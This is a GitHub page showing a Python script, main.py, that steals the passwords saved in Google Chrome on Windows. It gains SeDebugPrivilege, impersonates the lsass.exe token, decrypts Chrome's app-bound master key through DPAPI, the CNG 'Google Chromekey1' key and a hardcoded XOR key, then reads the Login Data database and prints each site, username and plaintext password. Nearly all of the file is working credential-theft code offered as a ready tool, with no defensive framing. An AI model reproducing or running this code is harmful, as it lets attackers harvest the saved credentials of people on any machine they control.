-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
233 lines (195 loc) · 8.03 KB
/
Copy pathmain.py
File metadata and controls
233 lines (195 loc) · 8.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
import os
import io
import json
import struct
import ctypes
import sqlite3
import binascii
import shutil
from contextlib import contextmanager
import windows
import windows.generated_def as gdef
import windows.crypto
from Crypto.Cipher import AES
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin() != 0
except:
return False
@contextmanager
def impersonate_lsass():
original_token = windows.current_thread.token
try:
windows.current_process.token.enable_privilege("SeDebugPrivilege")
proc = next(p for p in windows.system.processes if p.name == "lsass.exe")
lsass_token = proc.token
impersonation_token = lsass_token.duplicate(
type=gdef.TokenImpersonation,
impersonation_level=gdef.SecurityImpersonation
)
windows.current_thread.token = impersonation_token
yield
finally:
windows.current_thread.token = original_token
def parse_key_blob(blob_data: bytes) -> dict:
buffer = io.BytesIO(blob_data)
parsed_data = {}
header_len = struct.unpack('<I', buffer.read(4))[0]
parsed_data['header'] = buffer.read(header_len)
content_len = struct.unpack('<I', buffer.read(4))[0]
assert header_len + content_len + 8 == len(blob_data)
parsed_data['flag'] = buffer.read(1)[0]
if parsed_data['flag'] == 3:
parsed_data['encrypted_aes_key'] = buffer.read(32)
parsed_data['iv'] = buffer.read(12)
parsed_data['ciphertext'] = buffer.read(32)
parsed_data['tag'] = buffer.read(16)
else:
raise ValueError(f"Unsupported flag: {parsed_data['flag']}")
return parsed_data
def decrypt_with_cng(input_data):
ncrypt = ctypes.windll.NCRYPT
hProvider = gdef.NCRYPT_PROV_HANDLE()
provider_name = "Microsoft Software Key Storage Provider"
status = ncrypt.NCryptOpenStorageProvider(ctypes.byref(hProvider), provider_name, 0)
assert status == 0, f"NCryptOpenStorageProvider failed with status {status}"
hKey = gdef.NCRYPT_KEY_HANDLE()
key_name = "Google Chromekey1"
status = ncrypt.NCryptOpenKey(hProvider, ctypes.byref(hKey), key_name, 0, 0)
assert status == 0, f"NCryptOpenKey failed with status {status}"
pcbResult = gdef.DWORD(0)
input_buffer = (ctypes.c_ubyte * len(input_data)).from_buffer_copy(input_data)
status = ncrypt.NCryptDecrypt(
hKey,
input_buffer,
len(input_buffer),
None,
None,
0,
ctypes.byref(pcbResult),
0x40
)
assert status == 0, f"1st NCryptDecrypt failed with status {status}"
buffer_size = pcbResult.value
output_buffer = (ctypes.c_ubyte * pcbResult.value)()
status = ncrypt.NCryptDecrypt(
hKey,
input_buffer,
len(input_buffer),
None,
output_buffer,
buffer_size,
ctypes.byref(pcbResult),
0x40
)
assert status == 0, f"2nd NCryptDecrypt failed with status {status}"
ncrypt.NCryptFreeObject(hKey)
ncrypt.NCryptFreeObject(hProvider)
return bytes(output_buffer[:pcbResult.value])
def derive_v20_master_key(parsed_data: dict) -> bytes:
if parsed_data['flag'] == 3:
xor_key = bytes.fromhex("CCF8A1CEC56605B8517552BA1A2D061C03A29E90274FB2FCF59BA4B75C392390")
with impersonate_lsass():
decrypted_aes_key = decrypt_with_cng(parsed_data['encrypted_aes_key'])
xored_aes_key = bytes([_a ^ _b for _a, _b in zip(decrypted_aes_key, xor_key)])
cipher = AES.new(xored_aes_key, AES.MODE_GCM, nonce=parsed_data['iv'])
return cipher.decrypt_and_verify(parsed_data['ciphertext'], parsed_data['tag'])
else:
raise ValueError(f"Unsupported flag: {parsed_data['flag']}")
def decrypt_password(encrypted_password, master_key):
if not encrypted_password or not isinstance(encrypted_password, bytes):
return ""
if encrypted_password.startswith(b'v20'):
try:
if len(encrypted_password) < 31:
return f"Invalid v20 data length: {len(encrypted_password)}"
iv = encrypted_password[3:15]
ciphertext = encrypted_password[15:-16]
tag = encrypted_password[-16:]
cipher = AES.new(master_key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, tag)
if len(decrypted) > 32:
return decrypted[32:].decode('utf-8', errors='ignore')
else:
return decrypted.decode('utf-8', errors='ignore')
except Exception as e:
return f"v20 decryption failed: {str(e)}"
else:
return f"Unsupported encryption format: {encrypted_password[:10] if len(encrypted_password) >= 10 else 'too short'}"
def get_master_key():
user_profile = os.environ['USERPROFILE']
local_state_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Local State"
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = json.load(f)
app_bound_encrypted_key = local_state["os_crypt"]["app_bound_encrypted_key"]
assert(binascii.a2b_base64(app_bound_encrypted_key)[:4] == b"APPB")
key_blob_encrypted = binascii.a2b_base64(app_bound_encrypted_key)[4:]
with impersonate_lsass():
key_blob_system_decrypted = windows.crypto.dpapi.unprotect(key_blob_encrypted)
key_blob_user_decrypted = windows.crypto.dpapi.unprotect(key_blob_system_decrypted)
parsed_data = parse_key_blob(key_blob_user_decrypted)
return derive_v20_master_key(parsed_data)
def main():
user_profile = os.environ['USERPROFILE']
login_data_path = rf"{user_profile}\AppData\Local\Google\Chrome\User Data\Default\Login Data"
output_lines = []
def save_output(text):
print(text)
output_lines.append(text)
save_output("Getting master key...")
try:
master_key = get_master_key()
save_output(f"Master key obtained: {binascii.hexlify(master_key)[:32]}...")
except Exception as e:
save_output(f"Failed to get master key: {e}")
return
save_output("Reading password database...")
try:
temp_db_path = "temp_login_data.db"
shutil.copy2(login_data_path, temp_db_path)
con = sqlite3.connect(temp_db_path)
cur = con.cursor()
cur.execute("""
SELECT
origin_url,
username_value,
password_value,
date_created,
date_last_used,
date_password_modified
FROM logins
""")
logins = cur.fetchall()
con.close()
os.remove(temp_db_path)
except Exception as e:
save_output(f"Failed to read password database: {e}")
save_output("Please make sure Chrome is closed and try again.")
return
save_output(f"\nFound {len(logins)} saved passwords:")
save_output("=" * 100)
success_count = 0
for login in logins:
origin_url, username, encrypted_password, date_created, date_last_used, date_modified = login
password = decrypt_password(encrypted_password, master_key)
if password and not password.startswith("v20 decryption failed") and not password.startswith("Unsupported"):
success_count += 1
save_output(f"URL: {origin_url}")
save_output(f"Username: {username}")
save_output(f"Password: {password}")
save_output("-" * 50)
else:
if encrypted_password:
enc_type = "Unknown"
if isinstance(encrypted_password, bytes):
if encrypted_password.startswith(b'v20'):
enc_type = "v20"
else:
enc_type = f"Other (length: {len(encrypted_password)})"
save_output(f"[SKIPPED] {origin_url} - Encryption: {enc_type}, Error: {password}")
print("Decryption complete")
if __name__ == "__main__":
if not is_admin():
print("This script needs to run as administrator.")
else:
main()